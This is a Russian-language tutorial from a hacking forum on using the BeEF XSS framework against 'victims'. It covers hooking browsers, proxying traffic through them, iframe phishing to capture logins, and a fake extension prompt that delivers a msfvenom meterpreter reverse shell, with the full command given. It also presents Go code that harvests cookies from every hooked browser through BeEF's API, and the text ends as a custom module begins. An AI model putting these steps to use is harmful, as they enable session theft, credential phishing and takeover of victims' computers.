• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Beef XSS Framework – разбираемся с инструментом от А до Я

Urob0ros

HDD-drive
Пользователь
Регистрация
26.09.2020
Сообщения
40
Реакции
251
Введение

Всех приветствую. Около года назад я писал статью об XSS, в которой упоминал такой инструмент как Beef Xss Framework. Там я сказал что этот инструмент может здорово помочь в работе и если вы хотите себе удобный инстурмент для работы с найденными XSS, то рекомендуется научится им пользоваться. Этот инструмент представляет собой фреймворк для этапа “постэксплутатации” и помогает автоматизировать многие задачи, которые возникают после того, как мы находим для себя на целевом сайте точку входа под XSS уязвимость.

И вот сейчас мне показалось неплохой идеей сделать подробный разбор этого инструмента. Причем, не просто посмотреть как развернуть его, запустить и сидеть и чекать, а еще и посмотреть в сторону расширения функционала своими силами и даже немного залезть в исходники.

Отсюда нарисовался вот такой вот план статьи:
  1. Установка – рассмотрим как установить инструмент на чистую систему.​
  2. Запуск и настройка – разберем какие зависимости нужны, как стартануть утилиту, как провести настройку основных параметров.​
  3. Основной функционал – рассмотрим самые интересные возможности (по мнению автора) фреймворка. То есть, посмотрим как реализованы основные фишки, ради которых мы и завариваем кашу с xss. Тут и кража cookies, и доступ к камере и всякие другие плюшки.​
  4. REST ful API BeeF – да-да, BeeF предоставляет еще и API. Посмотрим что можно с ним сделать, и как и для чего его можно использовать.​
  5. Написание собственных модулей – инструмент конечно мощный, но может возникнуть такая ситуация, что нужную нам функцию инструмент выполнить не может. И тут придется уже самим говнокодить выкручиваться из ситуации. Поэтому, посмотрим как это можно реализовать на паре простеньких примеров.​
Итак, с разделами и целями статьи определились. Сразу предупреждаю, что статья получилась большой. Реально большой. Больше, чем любая из тех, что я писал раньше. Так что запасайтесь попкорном и свободным временем :) Ну и начинаем!

Что такое BEEF ?”

Итак - Beef Xss Framework, это инструмент с открытым исходным кодом, написаный на языке программирования ruby. Этот инструмент для пост эксплутатации xss-уязвимости, то есть он предназначен для того, чтобы упростить жизнь хакеру после того, как он нашел где-то XSS и теперь хочет не вручную записывать скрипты на страницу, а автоматизировать процесс. Это достаточно удобно, особенно если пользователей на сайте дохрена.

Работает инструмент по следующему принципу – он предоставляет ссылку на скрипт, который нужно подключить на страницу. После запуска этого скрипта у нее в браузере, “жертва” попадает в список ботов, с которыми инструмент позволяет сделать все что угодно в рамках возможностей JS. Получается такой мини-ботнет из устройств, попавшихся на XSS атаку. Что это и как работает в подробностях разберем дальше, но сначала фреймворк надо установить и настроить. С этого и начнем.

Установка
Начнем с установки. Тут есть два варианта.

Первый – если вы используете какой-то специализированный дистрибутив, по типу kali, parrot или еще что-то. В этих дистрибутивах beef предустановлен и вы можете смело переходить к следующему пункту.

Второй вариант – установка на чистую систему, что по моему мнению более правильное решение.
Во первых – потому что собирать систему под себя решение более логичное, так как это помогает не “засрать” систему прямо со старта.
А во-вторых – никто ведь не будет на практике использовать сосбственную систему, с установленной kali, пробрасывая порты на приемку через роутер себе же на машину прямо из сети. Для этого используются фронтганы, так что ставить придется туда. А это в свою очередь тоже, как правило - чистая система на базе какого-нибудь debian.

У beef’а открытые исходники и достаточно продуманый процесс установки, так что установить его можно без особых плясок с бубном. Единственное – инструмент не предназначен для винды. Вообще. Поэтому, учитесь дружить с пингвином.

Официальный репозиторий проекта на гитхабе можно найти здесь:
https://github.com/beefproject/beef

Установка достаточно простая. Сначала копируем репозиторий:

git clone https://github.com/beefproject/beef.git

А затем запускаем скрипт install, находящийся в директории с проектом:

./install

Этот скрипт по сути просто делает следующее:

Выясняет операционную систему в которой запущен, и в зависимости от нее запускает установку зависимостей, таких как сам язык ruby, доп библиотеки и т.д.

После успешной установки вы увидите примерно следующее:
1638790837404.png

Однако, при первом запуске вы можете столкнуться с вот такой ошибкой:
1638790858595.png

Для того, чтобы ее исправить нужно открыть файл config.yaml, находящийся в той же директории с проектом и найти там параметр password.

После этого параметр нужно заменить на свой. Обязательно запомните пароль, так как именно он будет использоваться для дальнейшей авторизации в приложении beef.

Запуск и настройка

При первом успешном запуске вы должны будете увидеть что-то такое:
1638790887025.png

И уже на этом этапе иструмент выведет нам в консоль достаточно много полезной информации.

Во первых, самый важный момент который нас здесь интересует – строчки Hook URL. Это и есть URL того самого скрипта, который мы будет подключать на уязвимую страницу.

Второе – это UI URL. Думаю, здесь все ясно, это адрес веб-интерфейса, через который мы и будем взаимодействовать с инструментом.

Еще здесь есть параметр RESTful API key – этот ключ нам понадобится в разделе, где мы будем щупать API.

Помимо этого инструмент рекомендует нам обновить базу GeoIP, которая нужна для определения локации “жертвы” по IP, а также дает адрес proxy, который мы сможем использовать для проброса трафика через захваченные устройства (подробнее об этом будет далее)

Ну и сообщает, что остановить работу инструмента можно просто нажав ctrl + c

Ну давайте уже прейдем к инструменту. Для этого открываем Ui URL:
1638790914838.png

Тут мы видим страницу авторизации. Для входа в систему используем логин и пароль, которые мы устанавливали в config файле.

После этого мы попадаем на главную страницу инструмента. Вот так она выглядит:
1638790933655.png



1 – это вкладка, на которой будут отображаться наши будущие жертвы.Здесь есть две папки – бразуеры онлайн и бразуеры оффлайн. Как не трудно догадаться, в первой у нас будут активные “жертвы”, с которыми можно будет взаимодействовать, а во второй – те жертвы, которые попались на удочку скрипта, но в данный момент уже не доступны в силу закрытия сайта в браузере.

2 – это основная рабочая панель. Сюда будет выводиться вся основная рабочая информация и функционал.

3 – шапка, где находится кнопка выхода и доп информация.

Ну и с ходу предлагаю начать работать с инструментом. Для примера нам понадобится “уязвимый” сайт и жертва.
В качестве уязвимого сайта возьмем небольшую страницу, на которую подключим скрипт:
1638790982106.png

Рассматривать процесс внедрения скриптов на страницу в этой статье не будем. Более подробно про XSS-атаки и внедрение JavaScript кода можно почитать здесь
А в качестве нашей “жертвы” будети выступать простая машина с чистой виндой семеркой на борту.

Основные плюшки

Итак, жертва попадает на крючок – заходит на уязвимый сайт и скрипт выполняется. Мы видим брузер в списке активных и можем переходить уже непосредственно к отработке цели.
После того, как мы выберем цель в списке, у нас откроется следующее в активном рабочем окне:
1638791302717.png

Открывается вкладка – Current Browser, которая содержит несколько подвкладок. Первая, та что на скрине, Details – вся та информация, которую удалось вытащить о системе жертвы – здесь и инофрмация о ОС, и параметры и настройка разрешения и железа, и даже примерное местоположение.
Следующая вкладка – Logs. Тут думаю все понятно, это логи всех действий взломанного браузера, причем, содержат она не только основные данные, но отслеживаются даже клики мышки и введенные в формы данные:
1638791344156.png

Следующая вкладка – Сommands, это та самая вкладка, которая интересует нас больше всего. В ней содержатся все те команды, которые мы можем выполнить в захваченом браузере. Они удобно разделены по категориям, плюс пристуствует поиск:
К этой вкладке мы еще вернемся, а пока посмотрим что тут есть еще.

Вкладка Proxy – здесь думаю тоже плюс-минус очевидно. Инструмент позволяет нам проксировать запросы через захваченое устройство. Для того чтобы гнать трафик через захваченый браузер, нужно нажать правой кнопкой мыши по захваченому браузеру и выбрать пункт Use as a proxy:
1638791383167.png

После этого BeeF создаст сервис на порту 6789 который и будет гнать весь трафик через браузер. Дальше просто настроим proxy в настройках браузера/системы на адрес, на котором запущен beef (в моем случае localhost) и вышеуказанный порт (эта информация, если помните, выводилась еще при запуске инструмента):
1638791423252.png

После этого http трафик пойдет через указанное устройство.

Ну и как всегда, у этой фишки есть пара подводных камней. Во первых, прокси работает на js в браузере, а значит подключится вы сможете только к тем сайтам, у который настроен CORS соответствующим образом. Для этого сервер должен возвращать заголовок allow-access-from origin="*"
Ну и во вторых – при работе с https могут возникнуть проблемы с сертификатами.
Так же, в подразделах можно посмотреть историю запросов, а так же отправить что-то вручную:
1638791447785.png


XSS Rays

Еще одна интересная функция инструмента. По сути, XSS Rays – это сканер XSS уязвимостей, который работает по принципу рентгена.
Как следует из описания – этот инструмент при помои js дергает все ссылки на странице и проверяет их на наличие xss уязвимостей.
Для его запуска нужно прейти на вкладку Scan config. Выбрать timeout и опцию, нужно ли запускать кросс-доменный скан, а затем нажать кнопку start scan в нижнем углу:
1638791478508.png

НУ или пкм и выбрать Launch XSS Rays:
1638791492197.png

После этого во вкладке лог будут отображаться все проверенные url.
Более подробно от себя сказать не могу, так как этой фишкой никогда особо не пользовался, но если вам интересно – можете подробнее почитать на вики и попробовать потестить его самотоятельно:

Ну и последняя вкладка – Network представляет собой просто карту сети подключенного устройства.
Там можно посмотреть хосты, сервисы на них и в целом увидеть интерактивную карту, котоаря показывает цепочку подключения:
1638791512271.png

Возвращаемся к командам

У BeeF много всяких интересных функций, но основной все таки является выполнение скриптов в захваченом браузере. Поэтому, возвращаемся к вкладке commands.

Для примера, я предлагаю рассмотреть несколько интересных скриптов, которые мы выполним у жертвы. Рассмотреть все скрипты тут физически не получится, но принцип работы у них плюс минус одинаковый, так что просто рассмотрим пару-тройку интересных модулей, а если вам будет нужно, можете сами потом покопаться в списке всех модулей, которых тут на секундочку около трехсот.

Alert:

Начнем с классики – просто выведем пользователю alert окно с какой-нибудь информацией. Просто примера ради.

Для этого ищем модуль под названием Create Alert Dialog, который находится по пути Browser/Hooked Domain
После того как мы откроем модуль, мы увидим окно настройки и запуска модуля:
1638791555605.png

Единственный настраиваемый параметр здесь – alert text, собственно тот самый текст, который мы выведем в alert окне:
Введем какой-либо текст и запустим модуль кнопкой Execute, которая находится в правой нижней части окна:
1638791573076.png

После этого в браузере жертвы появляется окно с предупреждением:
1638791588214.png

Редирект браузера на нужный нам сайт:

Еще один интересный и распостранненый способ использования xss – редирект жертвы на левый сайт, например фишинговый, при помощи которого можно будет не слишком палевно стащить какие-либо данные.

Для этого тоже есть отдельный модуль – Redirect Browser. Причем по умолчанию есть несколько модулей – для простого перенаправления, для перенаправляения в iframe (это когда на странице выводится содержимое другого сайта, а url остается тот же – идеальная модель для фишинга) и даже отдельным модулем идет редирект на рикролл :)
Я предлагаю как раз рассмотреть редирект в iframe. Для начала сделаем тестовую страницу, которая будет просить пользователя ввести пароль и логин:
1638791617081.png

Ну и напишем небольшой скрипт для обработки формы, чтобы нам приходили данные, которые введет пользователь.
А потом зальем ее на сервер.
После этого в настройках модуля укажем ссылку на страницу, название вкладки (опционально), иконку(опционально) и таймаут:
1638791636081.png

После отправки модуля, в браузере жертвы появится отправленная нами страница:
1638791688639.png

Причем url останется прежним, а имя страницы и иконка контролируются вами. Думаю не надо обьяснять, что пользователь вполне может решить что выведеный фрейм – тот же самый сайт, на котором он находится.
И после введения им данных они попадают к нам.

Полный захват системы через фейковое уведомление:

Ну и последним модулем посмотрим как можно расширить наше влияние и перейти от захвата браузера к захвату всей машины. В этом нам помогут модули из раздела Social Engineering.
Для примера возьмем модуль Fake Notification Bar версии для Chrome:
1638791724483.png

Интуитивно понятно что этот модуль выводит некое сообщение пользователю, в котором просит установить некое расширение для корректной работы сайта. Для настройки нам доступны два параметра – это путь к файлу, который будет загружен по клику пользователя и текст уведомления.

Ну и первое что приходит – создать простеньий реверс-шел под metasploit. Давайте для примера так и поступим.
Для начала сгенерируем шелл. Его мы и будем отправлять жертве под видом расширения. Сделаем это командой:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4444 -f exe -o extension.exe

где:

p – payload

lhsot – хост, на который будет стучать шелл

lport – порт, на который будет стучать шелл

f – расширение файла

o – непосредственно файл
1638791761417.png

После этого закидываем файл куда-то, откуда его можно будет скачать по http. Я не стал сильно заморачиватся и просто закинул его на веб-сервер, где и развернул уязвимую к XSS страницу. Теперь файл можно получить просто добавив его название в url с уязвимой к xss страницей.

Далее готовим “приемник”. Тут тоже просто. Запускаем msfconsole, выбираем exploit/multi/handler и настраиваем для него параметры lhost и lport так же как настраивали для вредоноса.
Далее просто стартуем командой run:
1638791789641.png

Дальше можем переходить к модулю. Идем в веб-интерфейс, указываем нужные параметры – путь к файлу и текст по желанию, а затем запускаем модуль.
И вот что мы увидим в браузере жертвы:
1638791805424.png

Сразу после клика по ссылке начнется скачивание файла:
1638791820386.png

Ну а сразу после того как пользователь запустит файл мы получим meterpreter сессию и попадем на машину:
1638791840763.png

Ну и разумеется это далеко не единственный модуль, который специализируется на таких вот обманках. Там есть и под обновления Flash(царствие ему небесное), и под Google и много еще чего интересного. Но, все же рассматривать бесконечно все модули мы не можем. Так что переходим далее к более продвинутым и сложным вещам.

RESTful API

В этой части статьи мы перейдем к API, который предоставляет фреймворк beef. Для тех кто в танке – API представляет собой интерфейс, с помощью которого мы можем взаимодействовать с инструментом как бы “напрямую”, не тыкая по кнопкам, а отправляя определенные http запросы и анализируя ответы. Проводя аналогию – представьте, что вы оторвали у микроволновки лицевую панель с кнопками и принялись вручную замыкать провода, чтобы запустить процесс разогрева. Вот примерно это и будет взаимодействием с API. У вас может возникнуть вполне логичный вопрос – нахрена вообще это надо. И на первый взгляд – действительно, у нас есть удобная панель (в нашем случае веб-интерфейс), которую предоставили разработчики, зачем нам взаимодействовать через протокол, если есть удобный интерфейс из коробки. Опять же, проводя аналогию с микроволновкой – а вдруг вам захотелось подвести кнопку разогрева из кухни себе в спальню. Или сделать так, чтобы после запуска гриль-режима сразу же запускался процесс самуничтожения, который зачем-то тоже был включен в функции микроволновки разработчиком. Ну или вам просто не понравился внешний вид панели и вы решили самостоятельно смастерить свою из говна и палок и поставить на место заводской, потому что так будет красивее и лучше впишется в интерьер кухни.

Здесь точно так же – работа с api инструмента это продвинутый уровень, который может понадобится уже во время серьезной полевой работы. Ну или вам нужны будут только определенные функции инструмента, а желания тыкаться в веб-морде и кликать на кнопки по 1000 раз у вас не будет, но будет желание запилить пару сотен строк кода, для автоматизации какой-либо задачи.

Или же вам просто не понравится немного “устаревший” внешний вид веб-панели и вы решите запилить свою, с бутстрапом и стилями.

Любую из этих задач можно выполнить проводя некоторые манипуцляции с API. И как именно это делать я постараюсь рассказать в этом модуле. И да, здесь будет много кода. Готовтесь)

Ну и понятно, что рассмотреть весь функционал не получится, я всетаки не документацию к этому API пишу. Поэтому, я предлагаю взять простой пример того, что нам могло понадобится от этого API и реализовать его, попутно рассмотрев при этом большую часть основных функций. Начинаем:

Для примера, предположим что нам понадобилось небольшое приложение, которое будет вытаскивать cookies из всех пойманых в онлайн браузеров и выводить их нам с дополнительной информацией. Таким образом, мы сможем несколько автоматизировать и упростить процесс, когда мы поймаем большое кол-во браузеров и нам надо будет быстро подергать куки с юзерагентами и минимальной информацией о системе.

Отсюда появляется такой алгоритм действий приложения:
  • Авторизируемся. Это необходимо.​
  • Получаем список пойманных браузеров в онлайне.​
  • Отправляем команду выполнения модуля​
  • Получаем результат выполнения модуля​
  • Выводим информацию на страницу​
  • Повторяем с пункта 2 с определенным таймаутом, чтобы держать информацию в актуальном состоянии​

Пойдем по порядку и попробуем все это реализовать. Я буду использовать для написания “клиента” golang. Как по мне он хорошо подойдет тут, так как легко читаем, при этом на нем легко можно развернуть веб-морду и http-клиент с парсерами и всем остальным, при этом не засрав проект большим кол-вом лишнего в этом случае хлама в виде тестовых страниц, конфигов и прочего.

Официальная документация по api:

Авторизация:

Начнем с авторизации в системе. Тут нам понадобится токен – некий цифровой отпечаток, который будет крепиться к каждому нашему запросу.

Получить этот отпечаток можно двумя способами:
Первый – вспомнить что мы видели при запуске инструмента в консоли. Одним из пунктов там выводился как раз API key, который и представляет собой токен.
Второй способ – постучатся на хендлер, попутно передав туда логин и пароль. В ответ сервер вышлет нам статус успеха и токен, если переданные данные были верны:
1638791919586.png


Что делать с этим токеном ?
Тут тоже все достаточно просто, хоть и несколько странно. Токен этот передается прямо в запросе к серверу, но не в теле запроса, например в куках, как это обычно делается, а прямо в URL, одним из параметров.

То есть шаблон запросов на сервер будет выглядеть так:

http://<ip-server>/<handler>?token=<token>


И это вне зависимости от типа запроса – GET там будет, POST или чет еще. Не будем тут рассуждать насколько это хорошо или плохо, безопасно или нет, и усложняет это жизнь нам сейчас или упрощает. В этом апи местами встречаются достаточно странные решения, но примем это просто как факт. Оно есть и с этим мы будем работать.

То есть, мы помимо хендлера, мы просто будем совать в URL еще и токен. Но как именно посмотрим потом, а пока вернемся к его получению.

Обратите внимание, что токен меняется при каждом перезапуске инструмента, а значит вариант “один раз захардкодить и забыть, и так сойдет” не прокатит, а если и прокатит, то с большим гемором, так как при каждом перезапуске инструмента придется лезть в код и менять его.

Лично я сделал тут так – реализуем небольшой метод, который стучится на нужный нам хендлер при запуске нашего клиента, тащит оттуда токен и сохраняет его в глобальную переменную, которая потом и используется везде, где нужно. Собственно, глобальных переменных тут несколько, вот они:
Для хранения токена авторизации

var Token string

Создаем обьект клиента для дальнейшей отправки запросов в методах
var Client = &http.Client{}

ID команды, зачем нужно увидите чуть позже

var CommandID string = "282"

А вот так выглядит сам этот метод:

Код:
func Auth() error {

//Данные для авторизации - я для примера захардкодил, вам не рекомендую
    var UserData UserRequest = UserRequest{
        Username: "beef",
        Password: "test",
    }

    //Создаем тело запроса, кодируем его в json
    payloadBuf := new(bytes.Buffer)
    json.NewEncoder(payloadBuf).Encode(UserData)
    //Создаем запрос
    req, err := http.NewRequest(http.MethodPost, "http://127.0.0.1:3000/api/admin/login", payloadBuf)
    if err != nil {
        return fmt.Errorf("error create auth request: %w", err)
    }

    //Отправляем запрос через клиент
    res, err := Client.Do(req)
    if err != nil {
        return fmt.Errorf("error send auth request: %w", err)
    }

    defer res.Body.Close()
    //Парсим ответ
    var result UserResponce
    json.NewDecoder(res.Body).Decode(&result)

    //Записываем полученный токен в глобальную переменную
    Token = result.Token
    return nil
}

Получение браузеров в онлайне:

После того, как мы заполучили себе наконец ключ к дверце API можем начинать получать необходимую нам информацию. Первое что мы хотим получить – список браузеров в онлайне, чтобы потом начать дергать с них cookies.

Для получения списка браузеров у нас используется вот такой вот хендлер:

http://127.0.0.1:3000/api/hooks?token=…

И если мы попробуем туда сунуться, вот такую вот json-структуру мы получим:
1638792090788.png

Вроде все просто. Есть отдельное вложение с браузерами в онлайне, казалось бы – парсим данные оттуда и все. Но не все так просто. И вот почему:

Начнем издалека – в go для того, чтобы распарсить json, надо подготовить место, куда собственно сложить все полученные данные. Для этого используются структуры – тип данных, который может содержать в себе поля определенных типов, а так же другие вложенные структуры. Они чем-то похожи на классы, но так как го больше фнукциональный язык программирование и ООП здесь не очень жалуют, здесь они используются для другого. И в первую очередь – для хранения данных из json, xml, sql, и прочих форматов.

И такие структуры готовятся заранее, а потом в экземпляр такой структуры уже вписывается вся информация одним методом. Достаточно удобно. Не так удобно конечно, как парсить на лету в ЯП с динамической типизацией, но такой подход компенсируется скоростью работы программы.

И вот собственно в чем проблема. Поля в структуре заранее знают, значение какого json ключа будет хранится в каждом из них. Для этого и нужны вот эти вот строчки в одинарных обратных кавычках – они содержат имена ключей, значения которых будут парсится в это поле.
И, как правило, ключ известен заранее. Но, если мы внимательно посмотрим на ответ сервера, то увидим, что вот здесь у нас внутри одной вложенной структуры идет ID в виде ключа, а далее вложенная структура:
1638792138710.png


То есть ID будет динамическим. А это значит что придется немного изьебнуться.
Собственно, весь изьеб будет заключаться в том, чтобы использовать хеш-таблицу заместо вложенной структуры. Это создаст небольшой “ньюанс” в будущем, так как у нас будет не массив, а хэш таблица со стринговыми ключами. То есть полная картина того, куда мы будем парсить данные будет выглядеть вот так:
Код:
type BrowserResponce struct {
    HookedBrowsers struct {
        BrowserOnline  map[string]Browser `json:"online"`
        BrowserOffline map[string]Browser `json:"offline"`
    } `json:"hooked-browsers"`
}

type Browser struct {
    ID          int         `json:"id"`
    Session     string      `json:"session"`
    Name        string      `json:"name"`
    Version     string      `json:"version"`
    Platform    string      `json:"platform"`
    Os          string      `json:"os"`
    OsVersion   string      `json:"os_version"`
    Hardware    string      `json:"hardware"`
    IP          string      `json:"ip"`
    Domain      string      `json:"domain"`
    Port        string      `json:"port"`
    PageURI     string      `json:"page_uri"`
    Firstseen   string      `json:"firstseen"`
    Lastseen    string      `json:"lastseen"`
    DateStamp   string      `json:"date_stamp"`
    City        string      `json:"city"`
    Country     string      `json:"country"`
    CountryCode interface{} `json:"country_code"`
}

Ну а сам метод будет вот такой:
Код:
func GetBrowsers() (map[string]Browser, error) {

    var browsers BrowserResponce

    //Подготавливаем данные для создания ззапроса
    url := fmt.Sprintf("http://127.0.0.1:3000/api/hooks?token=%s", Token)
    method := "GET"

    //Создаем запрос
    req, err := http.NewRequest(method, url, nil)
    if err != nil {
        return browsers.HookedBrowsers.BrowserOnline, err
    }

    //Выполняем запрос
    res, err := Client.Do(req)
    if err != nil {
        return browsers.HookedBrowsers.BrowserOnline, err
    }
    defer res.Body.Close()
    //Создаем структуру под полученные данные и парсим json в нее
    json.NewDecoder(res.Body).Decode(&browsers)

    return browsers.HookedBrowsers.BrowserOnline, nil
}

Запуск модуля в браузере у жертвы:

Итак, список браузеров мы получили. Далее нам нужно решить что мы с ними делаем. Так как в нашей идее мы просто хотим запустить модуль “getcookies”, для начала нам потребуется вся нужная информация об этом модуле. (Конечно, можно было бы вытащить cookies и по другому через параметры, но примера ради делаем это через модуль) И первое что нам нужно узнать – его ID. Посмотреть его можно двумя способами – в интерфейсе или же опять через API. Так как у нас есть доступ к веб-интрефейс предлагаю ID модуля посмотреть именно там. Он указывается в окне вызова модуля рядом с описанием:
1638792243266.png

Как видим – id модуля 282. И это именно его я указал в одной из глобальных переменных в начале. Однако это не вся информация, которая нужна для полной отработки модуля. Но об этом чуть далее.
А пока, для того, чтобы просто запустить выполнение модуля в определенном бразуере используется запрос на вот такой эндпоинт с методом POST:

http://beef-server:3000/api/modules/<browserId>/<moduleId>?token=<token>

Где у нас:
browserID – айди браузера, который мы получили на прошлом шаге. В пришедшей структуре, он обозначается под ключем Session
ModuleId – тот самый ID модуля. В нашем случае 282.
ну и token– токен авторизации

Но так как многие модули помимо этих данных в url требуют еще какие-то дополнительные данные (например, вызывая alert, нам нужно указать текст, который будет выведен жертве), в теле запроса отправляется структура, которая содержит данные для модуля. И логично что для каждого модуля она уникальна.

Так как же получить пример данных, которые нужно отправлять в теле запроса ?

Для этого мы можем снова использовать API.

Для получения полной информации по модулю, в том числе и примера структуры для тела запроса.

http://beef-server:3000/api/modules/<moduleId>?token=<token>

Так как эта информация нам понадобится всего один раз, и то – на этапе написания кода, то смысла писать под это метод я не вижу. Поэтому просто долбанем по эндпоинту curl’ом и посмотрим что он нам расскажет.

А расскажет он вот что:
1638792306288.png

Как видим параметр options у нас пустой (пустой массив). Наш модуль не требует никаких дополнительных данных. Однако, это не значит что мы можем отправить запрос с пустым телом. Это значит что мы должны отправить именно запрос с пустым массивом в теле запроса. Ну и типом данных aplication/json соответственно.

Вот так будет выглядеть нужный нам готовый запрос в curl:

curl -H "Content-Type: application/json; charset=UTF-8" -d '[]' -X POST http://beefserver.com:3000/api/modules/<browserId>/282?token=<>

Ответом на запрос послужит вот такая вот json структура:
1638792330050.png

И это еще одна фишка beef – в ответе мы не получаем данные, а лишь статус выполнения и id записи, в которой мы можем просмотреть результат выполения комманды. А это значит что cookie мы вытащили, но в данный момент они лежат в базе beef, а чтобы получить их нам придется сформировать еще один запрос. Это мы и сделаем далее, а пока что к коду:

Все нужные для этого шага данные у нас есть, поэтому формируем метод, который выполнит этот запрос:
Код:
func GetCookie(browserID string) (string, error) {
    //Готовим url запроса
    url := fmt.Sprintf("http://127.0.0.1:3000/api/modules/%s/%s?token=%s", browserID, CommandID, Token)

    //Создаем запрос с пустым массивом в теле
    req, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer([]byte("[]")))
    if err != nil {
        return "", fmt.Errorf("error creating request GetCookie: %w", err)
    }
    //Выполняем запрос
    res, err := Client.Do(req)
    if err != nil {
        return "", fmt.Errorf("error sending request GetCookie: %w", err)
    }
    defer res.Body.Close()

    //Парсим ответ
    var responce CommandResponce
    err = json.NewDecoder(res.Body).Decode(&responce)
    if err != nil {
        return "", fmt.Errorf("error parse request GetCookie:` %w", err)
    }

    //Возвращаем id выполненной команды
    return responce.CommandId, nil
}

Получаем результат работы модуля

Итак, мы убедились что команда была выполнена beef’ом успешно. Далее, мы хоитим получить результат работы модуля, то есть те самые cookies, которые мы успешно спиздили вытащили из системы
Вся эта информация была записана beef’oм в логи и чтобы ее получить надо обратиться на вот такой эндпоинт:

http://beef-server:3000/api/modules/<moduleId>/<resultID>?token=<token>

По сути – почти то же самое что и в прошлый раз, но добавляется параметр resultID, который мы и получили в ответ на прошлый запрос.
Если проверить curl’ом, то мы увидим что в ответ приходит вот такая структура:
1638792382002.png

Ну и казалось бы – все что нужно сделать далее – отправить запрос, распарсить его в теперь уже известную модель и просто получить из этой модели данные по ключу data.

Но тут есть еще два момента, на которые стоит обратить внимание:

Во-первых, пришедшая data содержит внутри себя не просто строку, а еще одну json структуру. И для нормальной дальнейшей работы придется распарсить еще и ее. Но это не проблема, просто добавить пару строк кода, учитывая что структура заранее известна.

Чуть более интересен второй момент – если мы попробуем сейчас запустить программу, по очереди вызывая те методы, что мы написали выше, программа корректно отработает ровно до того места, где мы пытаемся получить результат. В ответ на запрос мы будем получать обычный ответ с кодом 200, но при этом почему-то пустым телом ответа.

Я какое-то время не мог понять в чем проблема, пока не понял вот что:

Beef, после выполнения модуля, отправляет результат, а уже затем начинает записывать логи. А значит, если попытаться отправить запрос до того, как он запишет логи, запись вернется пустой. В этом и заключается проблема.

Сам процесс записи занимает примерно 1-2 секунды, а значит последний этап программы – получение результата нужно отправлять примерно через 1-2 секунды после отправки команды на запуск модуля.

Я не стал чего-то выдумывать и просто добавил time.Sleep() на 2 секунды между вызовом методов, выполняющих эти действия.
А сам код функции получился вот таким вот:

Код:
func GetResultModule(BrowserID string, CommandResultId string) (string, error) {

    //Готовим url
    url := fmt.Sprintf("http://127.0.0.1:3000/api/modules/%s/%s/%s?token=%s", BrowserID, CommandID, CommandResultId, Token)
    //выполняем запрос
    res, err := http.Get(url)
    if err != nil {
        return "", fmt.Errorf("error send  request ")
    }
    defer res.Body.Close()

    //пасрим ответ
    var responce CommandResultResponce
    json.NewDecoder(res.Body).Decode(&responce)
    //Парсим еще одну строку с cookies внутри структуры ответа
    var data DataResult
    err = json.Unmarshal([]byte(responce.Num0.Data), &data)
    if err != nil {
        return "", fmt.Errorf("error parse data: %w", err)
    }
    //Возвращаем полученные cookies
    return data.Data, nil
}
По итогу, функция вернет нам строку, содержащую cookies жертвы.

Заканчиваем работу над программой:

Ну и далее остается только решить что именно делать с информацией. Я для примера просто выкинул ее + кое-какую дополнительную инфу, полученную в процессе, на веб-страницу:
1638792442110.png

Думаю как именно развернуть веб-сервер и вывести информацию я рассказывать не буду, так как это за рамками, просто скажу что по итогу вы можете сделать как угодно – вывести куда-то, в веб, консоль, gui, сохранить в файл и т.д.
Все ограничивается только вашей фантазией.

Разработка собственных модулей

Ну и в заключительном разделе статьи я предлагаю рассмотреть создание своих модулей для BeeF. Логично, что в некоторых ситуациях стандартного функционала может не хватить и потребуется небольшой “буст” инструмента при помощи самонаписаных модулей.

Здесь я предлагаю написать простой модуль который будет просто добавлять на страницу пользователя небольшой заголовок <h1>. Почему так просто ? Во-первых, статья итак уже затянулась и мне уже не хочется особо никого грузить, а во вторых - по пути мы рассмотрим основные моменты, касающиеся создания своих модулей, а значит при желании, опираясь на эту информацию, вы спокойно сможете попробовать написать свой.
Итак, начинаем:

Для начала выясним где хранятся модули в программе и как они выглядят.
Найти модули можно в директории с инструментом, в папке modules. Она содержит ту же структуру директорий что мы и видим в beef, когда открываем вкладку с командами:
1638792537510.png


Каждый модуль в свою очередь представляет собой директорию, в которой хранятся три файла. Вот так например выглядит модуль для вывода алерта:
1638792552621.png

Давайте попробуем разобраться что из себя представляет каждый из файлов:

config.yaml – конфиг файл модуля. Этот файл содержит основную информацию и настройки, например, название модуля, категорию, описание, информацию о создателях и т.д.
module.rb – серверная часть модуля, написаная на языке Ruby.
сommand.js – непосредственно js скрипт, который и будет выполнен на устройстве.

Ну и чтобы не копаться в коде чужих модулей, пожалуй сразу начнем писать свой.

Начнем мы с того, что создадим свою директорию в папке modules/hooked_domain и назовем ее create_heading
В этой директории создаем три файла с известными нам названиями

Начнем мы с config файла. Для начала укажем название модуля, раздел, и описание:
YAML:
beef:
    module:
        create_heading:
            enable: true
            category: ["Browser", "Hooked Domain"]
            name: "Create heading"
            description: "<i>Create h1 tag with your text on page</i>"
            authors: ["JohnDoe"]
            target:
                user_notify: ["All"]

Здесь все логично и ясно, кроме последнего параметра – target/user_notify. И вот зачем здесь нужна эта хреновина – она показывает с какими браузерами совместим модуль.
Следующим этапом будем писать бэкенд часть на руби. По сути, нам здесь ничего делать особо не надо – никакие данные в ответ не придут, проверять их не придется, а значит надо просто убедиться что модуль успешно выполнился и записать данные в лог.
Начнем написание с того, что унаследуем класс нашего модуля от специального класса модулей, который находится в ядре и предоставляет некий “интерфейс” для удобного взаимодействия при написании своих модулей:
Ruby:
class Create_heading < BeEF::Core::Command

Вообще, остальной руби код состоит из трех основных функций:

self.options – этот метод описывает данные, которые будут выведены пользователю в веб-интерфейсе, а так же будут видны в api
pre_send – эта функция вызывается перед отправкой модуля.
post_execute – эта фнукция вызывается, когда приходит ответ от модуля.

Вторая и третья функции нам не понадобятся, а вот первую мы опишем.
Вот как это будет выглядеть:
Ruby:
def self.options
    return [{
      'name' => 'text',
      'description' => 'Creating h1 tag on page in user browser',
      'type' => 'textarea',
      'ui_label' => 'H1 text',
      'value' => 'Hello from BeeF !',
      'width' => '400px'
      }]
  end

В функции мы ретюрним параметры, описывающие модуль. В итоге в веб-интерфейсе наш модуль будет иметь описание и поле для ввода текста, а так же в логах будет отображаться параметр text, который вернет выведенный текст
Ну и далее нам нужно получить ответ от скрипта и сохранить данные в лог. Это уже произойдет автоматически.

На этом все – код на руби закончен. Можем переходить к скрипту на js.
Здесь все еще более просто. Нам нужно написать сам код, который будет выполнять основную задачу + код для возвращения статуса beef’у.
Для этого воспользуемся опять же классами beef:

JavaScript:
